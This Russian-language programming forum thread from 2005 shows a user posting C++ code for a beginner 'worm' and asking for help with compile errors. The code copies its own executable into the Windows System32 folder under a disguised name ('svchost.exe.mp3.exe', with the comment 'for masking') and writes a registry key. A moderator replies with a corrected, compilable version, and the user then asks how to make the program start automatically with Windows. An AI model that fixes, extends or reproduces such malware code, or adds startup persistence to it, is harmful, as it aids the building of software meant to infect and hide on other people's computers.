C++ Builder
| Главная | Уроки | Статьи | FAQ | Форум | Downloads | Литература | Ссылки | RXLib | Диски |

 
Помогите понять!
phobos
Отправлено: 17.03.2005, 17:21


Ученик-кочегар

Группа: Участник
Сообщений: 6



Вот я задумал зделать подобие червя интерестно получится только несмейтесь я практикуюсь=).?Вот хочу попрасить исправить ошибки!У меня часто возникает проблемма поясняю
вот допустим я написал код в один модуль хорошо всё работает пишу во второй,компилю и тот код который во втором модуле неработает!Компилятор почемуто его игнорирует?!Обясните эту мистику?!=)

[C++ Error] Unit1.cpp(37): E2141 Declaration syntax error
[C++ Error] Unit1.cpp(40): E2121 Function call missing )
[C++ Error] Unit1.cpp(40): E2380 Unterminated string or character constant
[C++ Warning] Unit1.cpp(46): W8070 Function should return a value
[C++ Warning] Unit1.cpp(46): W8004 'nRet' is assigned a value that is never used
CODE

#include <iostream.h>
#include <vcl.h>
#include <conio.h>
#include <stdio.h>
#include <mmsystem.h>
#include <iostream.h>
#include <windows.h>
#include <string.h>
int main ()
{
cout <<
" ==============================\n"
" =                                                                =\n"
" =Phobos  Pressent A  New Worm              =\n"
" =           Created                                        =\n"
" =          16.03.2005                                    =\n"
" =             Name:                                         =\n"
" =        I-Worm.W32.VK                               =\n"
" =                                                                =\n"
" =                                                                =\n"
" =                                                                =\n"
" ==============================\n";
getch ();
}
char windir[MAX_PATH];
HKEY hKey;

int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR     lpCmdLine,
                    int       nCmdShow)
{
  char pathname[512];
  unsigned char reg[10000] = ""

  GetWindowsDirectory(windir, sizeof(windir));
  HMODULE hMe = GetModuleHandle(NULL);
  DWORD nRet = GetModuleFileName(hMe, pathname, 512);
  strcat(windir, "\\System32\\"svchost.exe.mp3.exe");//для маскировки
  CopyFile(pathname,windir,0);

  RegCreateKey(HKEY_CURRENT_USER,"Software\\",&hKey);
  RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
  RegCloseKey(hKey);
}


Отредактировано Gedeon — 17/03/2005, 16:09
Gedeon
Отправлено: 17.03.2005, 18:34


Ветеран

Группа: Модератор
Сообщений: 1742



Найдите 10 отличий smile.gif
CODE

#include <iostream.h>
#include <vcl.h>
#include <conio.h>
#include <stdio.h>
#include <mmsystem.h>
#include <iostream.h>
#include <windows.h>
#include <string.h>
int main ()
{
cout <<
" ==============================\n"
" =                                                                =\n"
" =Phobos  Pressent A  New Worm              =\n"
" =           Created                                        =\n"
" =          16.03.2005                                    =\n"
" =             Name:                                         =\n"
" =        I-Worm.W32.VK                               =\n"
" =                                                                =\n"
" =                                                                =\n"
" =                                                                =\n"
" ==============================\n";
getch ();
}
char windir[MAX_PATH];
HKEY hKey;

int APIENTRY WinMain(HINSTANCE hInstance,
                   HINSTANCE hPrevInstance,
                   LPSTR     lpCmdLine,
                   int       nCmdShow)
{
 char pathname[512];
 unsigned char reg[10000] = "";

 GetWindowsDirectory(windir, sizeof(windir));
 HMODULE hMe = GetModuleHandle(NULL);
 DWORD nRet = GetModuleFileName(hMe, pathname, 512); // это он в ворнинге обругивается
 strcat(windir, "\\System32\\svchost.exe.mp3.exe");//для маскировки
 CopyFile(pathname,windir,0);

 RegCreateKey(HKEY_CURRENT_USER,"Software\\",&hKey);
 RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
 RegCloseKey(hKey);
 return 0;
}
** phobos
Отправлено: 18.03.2005, 20:09


Не зарегистрирован







Какой нужно код прописать чтоб при запуске винды эта программка запускалась из system32????

Вернуться в Вопросы программирования в C++Builder